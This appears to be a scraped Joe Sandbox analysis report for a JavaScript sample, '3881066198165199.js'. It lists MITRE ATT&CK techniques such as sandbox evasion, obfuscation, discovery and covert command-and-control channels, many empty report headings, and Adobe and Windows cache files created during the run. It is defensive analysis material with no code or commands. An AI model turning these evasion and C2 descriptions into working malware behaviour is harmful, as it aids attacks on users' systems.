Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3881066198165199.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a50f6c46-100c-4be3-a75d-4ca46433fbaa.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5908

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
3881066198165199.js